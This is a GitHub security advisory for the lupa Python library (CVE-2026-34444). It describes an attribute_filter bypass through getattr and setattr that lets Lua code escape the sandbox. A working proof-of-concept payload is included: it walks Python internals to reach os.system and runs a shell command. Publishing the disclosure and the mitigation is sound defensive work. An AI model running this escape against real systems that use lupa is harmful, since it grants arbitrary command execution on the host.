GitHub Advisoryadvisory · PyPI
GHSA-69v7-xpr6-6gjm Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr
HIGH
Official page ↗
- Aliases
- CVE-2026-34444
- Ecosystem
- PyPI
- Packages
- lupa
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-284, CWE-693
- Reviewed
- 2026-04-07
Affected packages
• PyPI lupa: <= 2.6 (no fix yet)
Description
Summary
The `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.
However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.
Details
The `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.
In practice, it only applies to direct attribute access:
• `obj.attr` → filtered
• `getattr(obj, "attr")` → not filtered
Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.
An attacker can use getattr to-
• Access `__class__`
• Walk the `__mro__` chain
• Call `__subclasses__()`
• Iterate over available classes
• Find a function that exposes `__globals__`
• Retrieve something like `os.system`
At that point, arbitrary command execution becomes straightforward.
This effectively breaks the security boundary that `attribute_filter` is expected to enforce.
PoC
The following example shows how the filter can be bypassed to execute `os.system`:'
```
import lupa
from lupa import LuaRuntime
def protected_attribute_filter(obj, attr_name, is_setting):
if isinstance(attr_name, str) and attr_name.startswith('_'):
raise AttributeError(f"Access to '{attr_name}' is forbidden")
return attr_name
lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)
class UserProfile:
def __init__(self, name): self.name = name
lua.globals().user = UserProfile("test")
lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr
local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")
local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
if tostring(c):find("os._wrap_close") then
local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
setattr(user, "run", system)
user.run("id")
end
end
""")
```
Impact
An attacker who can execute Lua code can:
• Bypass the `attribute_filter`
• Access Python internals
• Traverse the object graph
• Reach execution primitives
This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.
Related
Alias · CVE (1)
- CVE-2026-34444 Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. vulnerability